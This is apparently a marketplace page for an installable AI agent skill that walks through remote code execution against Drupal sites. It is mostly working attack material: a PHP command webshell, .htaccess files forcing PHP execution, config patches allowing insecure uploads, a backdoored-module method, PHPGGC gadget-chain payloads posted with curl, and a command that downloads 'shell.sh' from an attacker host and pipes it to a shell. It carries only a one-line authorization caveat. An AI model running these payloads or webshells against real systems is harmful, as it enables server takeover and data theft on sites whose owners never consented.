# Drupal Rce Exploitation

> Exploit Drupal vulnerabilities for remote code execution. Use this skill whenever the user mentions Drupal exploitation, Drupal RCE, Drupal pentesting, Drupal security testing, PHP Filter module, Drupal configuration synchronization, Drupal gadget chains, or any Drupal-related security assessment. This skill covers PHP Filter module exploitation, backdoored modules, configuration sync abuse, and core gadget chain attacks (SA-CORE-2024-007/008).

- Skill: `abelrguezr/drupal-rce-exploitation` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/drupal-rce-exploitation`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/drupal-rce-exploitation/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/drupal-rce-exploitation

---


# Drupal RCE Exploitation

A comprehensive skill for exploiting Drupal vulnerabilities to achieve remote code execution. This skill covers multiple attack vectors across different Drupal versions.

## When to Use This Skill

Use this skill when:
- Testing Drupal applications for security vulnerabilities
- Attempting RCE against Drupal 7, 8, 10, or 11
- Working with PHP Filter module exploitation
- Leveraging configuration synchronization features
- Exploiting unsafe deserialization in contrib modules
- Using Drupal core gadget chains (SA-CORE-2024-007/008)

## Prerequisites

- Target Drupal installation accessible via HTTP/HTTPS
- For some techniques: authenticated admin access
- PHPGGC tool for gadget chain payloads (optional but recommended)
- Basic understanding of Drupal architecture

## Exploitation Techniques

### 1. PHP Filter Module (Drupal < 8)

The PHP Filter module allows embedded PHP code execution. In Drupal 8+, it's not installed by default.

**Detection:**
```bash
# Check if PHP filter module is installed
curl -I http://target/modules/php
# 403 response indicates the module exists
```

**Exploitation Steps:**
1. Navigate to `/admin/modules` and enable `PHP Filter` module
2. Go to `Add content` → `Basic Page` or `Article`
3. Insert PHP backdoor code
4. Set Text format to `PHP code`
5. Preview and save
6. Trigger by accessing the node: `curl http://target/node/3`

**Backdoor Example:**
```php
<?php
if (isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>
```

### 2. Install PHP Filter Module (Drupal 8+)

For Drupal 8+, manually install the PHP Filter module:

1. Download: `wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz`
2. Navigate to `Administration` → `Reports` → `Available updates`
3. Click `Browse`, select the downloaded file, and click `Install`
4. Create a new page with PHP code format enabled

### 3. Backdoored Module Technique

Download a legitimate module, inject a backdoor, and install it:

1. Download a module (e.g., Turnstile) in compressed format
2. Add a PHP backdoor file inside the module
3. Create `.htaccess` to enable PHP execution:
   ```apache
   <IfModule mod_rewrite.c>
     RewriteEngine On
     RewriteBase /
   </IfModule>
   ```
4. Install via `/admin/modules/install`
5. Access: `/modules/turnstile/back.php`

### 4. Configuration Synchronization Exploitation

This technique leverages Media and Media Library modules with configuration sync.

**Step 1: Activate Required Modules**
- Navigate to `/admin/modules`
- Enable `Media` and `Media Library` modules

**Step 2: Patch Configuration Files**

Export configuration from `/admin/config/development/configuration/single/export` and modify:

**system.file.yml:**
```yaml
allow_insecure_uploads: true
```

**field.field.media.document.field_media_document.yml:**
```yaml
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
```

Import the patched configuration via `/admin/config/development/configuration/single/import`

**Step 3: Upload Webshell**

1. Upload `.htaccess` file via `/media/add/document`:
   ```apache
   <Files *>
     SetHandler application/x-httpd-php
   </Files>
   <IfModule mod_php.c>
     php_flag engine on
   </IfModule>
   <IfModule mod_php7.c>
     php_flag engine on
   </IfModule>
   <IfModule mod_php5.c>
     php_flag engine on
   </IfModule>
   ```

2. Upload `LICENSE.txt` with embedded PHP webshell (see `scripts/create_webshell.py`)

**Step 4: Interact with Webshell**

Access the uploaded file with the cookie parameter:
```bash
curl -c cookie.txt -b "89e127753a890d9c4099c872704a0711bbafbce9=phpinfo();" http://target/sites/default/files/LICENSE.txt
```

### 5. Drupal Core Gadget Chain (SA-CORE-2024-007/008)

**Affected Versions:**
- Drupal 7.0–7.101
- Drupal 8.x
- Drupal 10.2.0–10.2.10
- Drupal 10.3.0–10.3.8
- Early 11.x

**Patched in:** 10.2.11 / 10.3.9 / 7.102

**Exploitation Workflow:**

1. **Find unserialize sink** in contrib modules or custom code:
   ```bash
   grep -r "unserialize(" /path/to/drupal
   grep -r "Drupal\\Component\\Serialization\\PhpSerialize::decode" /path/to/drupal
   ```

2. **Generate payload** using PHPGGC:
   ```bash
   ./phpggc drupal/rce2 system 'id' > payload.ser
   ```

3. **Deliver payload** to the sink:
   ```bash
   curl -X POST https://target/admin/config/some/module \
        -d "serialized_setting=$(cat payload.ser)"
   ```

4. **Trigger execution** (often automatic at end of request)

**Vulnerable Contrib Modules (Late 2024):**
- **Mailjet** (<4.0.1, CVE-2024-13296)
- **Eloqua** (7.x-1.x < 1.15, CVE-2024-13297)

**Example Exploitation:**
```bash
phpggc drupal/rce2 system 'bash -c "curl http://attacker/shell.sh|sh"' > p.ser
curl -b session=ADMINCOOKIE \
     -F "import=@p.ser" https://target/admin/config/eloqua/import
```

## Helper Scripts

Use the bundled scripts for common tasks:

- `scripts/generate_gadget_payload.py` - Generate PHPGGC payloads for Drupal gadget chains
- `scripts/create_webshell.py` - Create LICENSE.txt webshell with cookie-based command execution
- `scripts/create_htaccess.py` - Generate .htaccess file for PHP execution

## Version Detection

Check Drupal version before attempting exploitation:

```bash
# Check core file
curl http://target/core/lib/Drupal.php

# Check changelog
curl http://target/CHANGELOG.txt

# Check robots.txt for version hints
curl http://target/robots.txt
```

## Safety Notes

- Only use these techniques on systems you own or have explicit authorization to test
- Some techniques require authenticated admin access
- Configuration synchronization exploitation may be blocked by proper file system permissions
- Gadget chains require finding an unserialize sink in the target application

## References

- [Drupal core – gadget chain – SA-CORE-2024-008](https://www.drupal.org/sa-core-2024-008)
- [Mailjet module – arbitrary PHP code execution – SA-CONTRIB-2024-062](https://www.drupal.org/sa-contrib-2024-062)
- [PHP Filter Module](https://www.drupal.org/project/php)